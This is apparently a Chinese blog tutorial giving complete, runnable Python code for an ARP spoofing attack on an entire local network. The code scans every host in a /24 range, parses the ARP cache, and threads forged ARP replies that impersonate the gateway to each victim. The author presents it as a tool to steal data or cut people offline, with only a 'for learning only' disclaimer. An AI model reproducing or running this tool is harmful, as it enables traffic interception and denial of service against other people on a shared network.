python使用ARP进行同一局域网所有人进行攻击**
攻击原理
arp作为一个底层协议,我们使用他进行攻击可以避免任何杀毒软件,最关键的就是这种攻击方式简单,并且对局域网造成的伤害也是极高,可以盗取数据,断网,等等。
他的攻击原理无非就是冒充欺骗,我们在同一个局域网下面,通信并不是使用ip地址,而是mac地址,也就是说,我们知道对方的mac地址就可以进行通信,最关键的是在底层协议里面,mac地址会在你最近的通信联系过的人进行保存,看他保存的信息很简单 arp -a 就这么一条简单的命令就可以看到他的mac缓存地址了,如果我要让他们之间互相进行联系我们可以通过ping命令,ping命令可以进行简单的发包,你和他ping通了,那么他的ip和mac地址就会在你的arp缓存地址里面,当然这个攻击虽然NB,但是只对局域网有效。
实验图
这是我的arp目前的缓存地址,因为是手机开的热点,并且就我一个人连接,所以就不去ping了
攻击需要使用的包
伪造一个arp攻击的包去冒充网关,代码如下
from kamene.all import (
ARP,
Ether,
sendp,
conf,
srp
)
# 构建一个以太网的包
eth = Ether()
#hacker_mac_address 在这里代表的是黑客的mac地址
#因为我们是去冒充网关,所以这个ip地址是我们的网关地址
#enemy_mac_address 是我们需要对其进行攻击的一个mac地址
# enemy_ip_address 是沃恩需要对其攻击的ip地址
arp = ARP(
op="is-at",
hwsrc=hacker_mac_address,
psrc=hacker_ip_address + ".1",
hwdst=enemy_mac_address,
pdst=enemy_ip_address,
)
#发送包,一秒1次
sendp(eth / arp, inter=2, loop=1)
(eth / arp).show()
以上代码,我们就实现了伪造一个包,发给受害者,让他的网关的mac地址指向你,网关是你那么就代表,他所有发送的请求包,都会发到你这里来。
实现对全网段进行攻击
如果对一个网段进行攻击,其实很好理解,他们就是一个对象,并且用多线程执行就可以,废话不多说,直接上代码
1.采集数据
我们要是对全局域网发起攻击,第一步就是采集信息了,这里我们把采集的信息用重定向命令保存到一个文本里面,代码可以看到,我们写了一个位置参数,这样可以让我们随意修改网段进行扫描,最后进行扫描后的数据进行保存,因为我们要快速的对这些地址进行发包,所以我们写了一个类,让他继承多线程的类,我们在get_IP_mac这个函数去执行循环的时候创建对象,并且让他们进行发包,ping -c 1代表的是只发包一次,self.ip_address这里是创建对象的时候传入的一个ip地址
class Ping(threading.Thread):
def __init__(self, ip):
super().__init__()
self.ip_address = ip
def run(self):
os.system('ping -c 1 ' + self.ip_address)
def get_ip_mac_text(ip):
print("\033[0;31;38m已开启自动扫描,为了让攻击变得更加强力,预计1--3分钟内完成扫描!!")
for i in range(1, 256):
s = Ping(ip + "." + str(i))
s.start()
else:
# set timeout 30 m ---- wait arp data
time.sleep(30)
os.system('arp -a>./mac_地址.txt')
print("\033[0;34;38m已完成扫描---准备开始分配线程,进行攻击")
通过代码我们采集后的数据格式
2.对数据进行分割
数据采集完了,但是看上图,数据完全不符合我们需要提交的ip和mac地址,所以在这里,我们需要把这些内容取出来
其实下面代码没什么好介绍的就是用到了普通的文件打开命令,和字符串下标查找和切片,在外面定义了一个列表,因为列表可以保存任何数据的内容,所以在这里,我们定义了一个info,这里是一个空字典,每次循环都会空,经过好几次判断最后把字典写入进去,这一段就是python基础
def get_ip_mac():
# all user data save position ,type = list
ip_mac = []
with open("mac_地址.txt", "r", encoding="utf-8") as f:
for i in range(256):
info = {}
content = f.readline()
if content != "":
# get client text index number----gain ip address
index_one = content.find("(")
index_two = content.find(")")
index_three = content.find("<")
# get client text index number----gain mac address
index_four = content.find("位于 ")
index_five = content.find(" [ether]")
if index_three == -1:
info["ip"] = content[index_one + 1:index_two]
info["mac"] = content[index_four + 3:index_five]
ip_mac.append(info)
else:
# if text content is null,break code
break
print("\033[0;29;38m扫描完成,3秒后开始执行攻击,扫描信息已保存运行目录。")
time.sleep(3)
3.获取我们本机的mac地址
这里就是通过uuid这包获取ip地址,最后取出mac地址,但是取出来的格式,并不是我们要提交的格式,下面那个循环就是变成我们指定的格式,他取出来是没有任何分割符的,我们提交的是每隔着2为就必须要有一个:号
def get_mac_address():
node = uuid.getnode()
mac = uuid.UUID(int=node).hex[-12:]
i = 1
x = 2
mac_date = list(mac)
while i <= len(mac_date):
if i // x == 1:
mac_date.insert(i, ":")
x += 3
i += 1
else:
mac_date.pop()
null_text = ""
ite = null_text.join(mac_date)
ite = ite.upper()
4.编写攻击的类
这个类其实和我们第一张图片无疑,只不过这个是面向对象的,里面写了一个多线程,在这里就不多做介绍了
class Kill(threading.Thread):
def __init__(self, hacker_mac, hacker_ip, enemy_mac, enemy_ip):
"""
# LAN Blasting Only
:param Hacker_ip: hacker ip address--黑客的ip地址
:param Hacker_mac: hacker mac physical address--黑客的mac物理地址
:param Enemy_ip:IP of the attacked--被攻击者的ip地址
:param Enemy_mac:Physical MAC address of the attackee--被攻击者的物理mac地址
"""
super().__init__()
# init package--初始化包
self.hacker_ip_address = hacker_ip
self.hacker_mac_address = hacker_mac
self.enemy_ip_address = enemy_ip
self.enemy_mac_address = enemy_mac
def run(self):
thread = threading.Thread(target=self.attack)
thread.start()
def attack(self):
eth = Ether()
arp = ARP(
op="is-at",
hwsrc=self.hacker_mac_address,
psrc=self.hacker_ip_address + ".1",
hwdst=self.enemy_mac_address,
pdst=self.enemy_ip_address,
)
print("\033[1;31;38m攻击已开启--Attack has been opened---攻击初始化成功")
time.sleep(1)
print(
"\033[0;29;38m目标ip:%s----目标mac:%s----我的mac:%s" % (
self.enemy_ip_address, self.enemy_ip_address, self.hacker_mac_address))
(eth / arp).show()
sendp(eth / arp, inter=2, loop=1)
5.创建攻击对象
我们现在该有的数据都有了,现在只需要把列表里面的字典遍历出来然后传入到,我们执行攻击的类里面就行了,遍历数据就这点,下面,我会传全部代码
for x in ip_mac:
ip = x["ip"]
mac = x["mac"]
p = Kill(get_mac_address(), ip_address, mac, ip)
p.start()
time.sleep(0.1)
6.整体代码
from kamene.all import (
ARP,
Ether,
sendp,
conf,
srp
)
import threading
import os
import uuid
from socket import gethostbyname, gethostname
import time
import multiprocessing
class Kill(threading.Thread):
def __init__(self, hacker_mac, hacker_ip, enemy_mac, enemy_ip):
"""
# LAN Blasting Only
:param Hacker_ip: hacker ip address--黑客的ip地址
:param Hacker_mac: hacker mac physical address--黑客的mac物理地址
:param Enemy_ip:IP of the attacked--被攻击者的ip地址
:param Enemy_mac:Physical MAC address of the attackee--被攻击者的物理mac地址
"""
super().__init__()
# init package--初始化包
self.hacker_ip_address = hacker_ip
self.hacker_mac_address = hacker_mac
self.enemy_ip_address = enemy_ip
self.enemy_mac_address = enemy_mac
def run(self):
thread = threading.Thread(target=self.attack)
thread.start()
def attack(self):
eth = Ether()
arp = ARP(
op="is-at",
hwsrc=self.hacker_mac_address,
psrc=self.hacker_ip_address + ".1",
hwdst=self.enemy_mac_address,
pdst=self.enemy_ip_address,
)
print("\033[1;31;38m攻击已开启--Attack has been opened---攻击初始化成功")
time.sleep(1)
print(
"\033[0;29;38m目标ip:%s----目标mac:%s----我的mac:%s" % (
self.enemy_ip_address, self.enemy_ip_address, self.hacker_mac_address))
(eth / arp).show()
sendp(eth / arp, inter=2, loop=1)
def copy_right(self):
return "此工具由沫编写,可用于对同一局域网下的人进行高强度攻击!\n只用于为学习交流,请勿对他人故意造成攻击,损失他人利益" \
"\n作者QQ:2366626231"
# get host mac address -- 48bit -- 获取自身mac地址,为攻击做铺垫
def get_mac_address():
node = uuid.getnode()
mac = uuid.UUID(int=node).hex[-12:]
i = 1
x = 2
mac_date = list(mac)
while i <= len(mac_date):
if i // x == 1:
mac_date.insert(i, ":")
x += 3
i += 1
else:
mac_date.pop()
null_text = ""
ite = null_text.join(mac_date)
ite = ite.upper()
return ite
class Ping(threading.Thread):
def __init__(self, ip):
super().__init__()
self.ip_address = ip
def run(self):
os.system('ping -c 1 ' + self.ip_address)
def logo():
print("\033[0;31;38m此工具由沫编写,可用于对同一局域网下的人进行高强度攻击!\n只用于为学习交流,请勿对他人故意造成攻击,损失他人利益\n作者QQ:2366626231"
"\n\n5秒后程序开始执行")
def get_ip_mac():
# all user data save position ,type = list
ip_mac = []
with open("mac_地址.txt", "r", encoding="utf-8") as f:
for i in range(256):
info = {}
content = f.readline()
if content != "":
# get client text index number----gain ip address
index_one = content.find("(")
index_two = content.find(")")
index_three = content.find("<")
# get client text index number----gain mac address
index_four = content.find("位于 ")
index_five = content.find(" [ether]")
if index_three == -1:
info["ip"] = content[index_one + 1:index_two]
info["mac"] = content[index_four + 3:index_five]
ip_mac.append(info)
else:
# if text content is null,break code
break
print("\033[0;29;38m扫描完成,3秒后开始执行攻击,扫描信息已保存运行目录。")
time.sleep(3)
return ip_mac
def get_ip_mac_text(ip):
print("\033[0;31;38m已开启自动扫描,为了让攻击变得更加强力,预计1--3分钟内完成扫描!!")
for i in range(1, 256):
s = Ping(ip + "." + str(i))
s.start()
else:
# set timeout 30 m ---- wait arp data
time.sleep(30)
os.system('arp -a>./mac_地址.txt')
print("\033[0;34;38m已完成扫描---准备开始分配线程,进行攻击")
# start reading
return get_ip_mac()
def main():
logo()
time.sleep(5)
while True:
option = input("\033[0;29;38m是否开启自动托管型攻击yes or no:\n")
is_mult = input("\033[0;29;38m是否对整个网段进行攻击yes or no:\n")
if option == "yes":
if is_mult == "yes":
ip_address = input("\033[0;29;38m请输入这个网段的地址--例如192.168.15:\n")
ip_mac = get_ip_mac_text(ip_address)
time.sleep(2)
for x in ip_mac:
ip = x["ip"]
mac = x["mac"]
p = Kill(get_mac_address(), ip_address, mac, ip)
p.start()
time.sleep(0.1)
else:
print("Error")
# print("\033[1;34;38m是否开启")
# make thread object
#
# p.start()
# 无法执行此命令
# print(get_mac_address())
# print(host)
if __name__ == '__main__':
main()
恩,以上就是对整个局域网发起攻击的代码了,注意的一点是这个代码只能在linux系统上面运行,并且要给sudo权限。。
如果代码逻辑或者讲解有什么问题,请提出宝贵的意见我会改正。
注:本代码完全用于学习,请勿对他人造成利益攻击,如果造成,作者不承担任何法律责任。